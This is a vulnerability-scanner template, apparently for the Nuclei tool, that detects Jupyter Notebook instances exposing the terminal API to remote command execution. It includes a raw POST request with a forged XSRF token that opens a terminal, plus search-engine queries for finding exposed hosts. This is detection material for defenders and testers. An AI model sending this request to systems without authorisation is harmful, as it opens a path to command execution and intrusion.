jupyter-notebook-rce: Jupyter Notebook - Remote Command Execution

id: jupyter-notebook-rce

info:
  name: Jupyter Notebook - Remote Command Execution
  author: HuTa0
  severity: high
  description: |
    Jupyter Notebook is an interactive Notebook, computer application is a web based visualization, Jupyter Notebook API/terminals path there are loopholes in the remote command execution.
  reference:
    - https://github.com/SCAMagic/SCAMagicScan/blob/de8130a2280ee08d719ac6612e590b8e2678fb97/pocs/poc-yaml-jupyter-notebook-rce.py
  classification:
    cpe: cpe:2.3:a:jupyter:notebook:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jupyter
    product: notebook
    shodan-query: title:"jupyter notebook"
    fofa-query: title="jupyter notebook"
    zoomeye-query: app="Jupyter Notebook"
  tags: jupyter,notebook,rce,bypass

http:
  - raw:
      - |
        POST /api/terminals HTTP/1.1
        Host: {{Hostname}}
        X-XSRFToken: 2|7a4faae0|819f5adf7edaef5e74502c9d0c75a604|1653492335
        Cookie: _xsrf=2|7a4faae0|819f5adf7edaef5e74502c9d0c75a604|1653492335

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"name":'
          - '"last_activity":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100923f493cbf01b994d9c6064676d63e20f100e4e6b6dc5923fa062bc72d70f972022100fe311593a4c8f1d5842588bbfe2c2c1b68eeb58dae15fabbb27c25a57e43264b:922c64590222798bb761d5b6d8e72950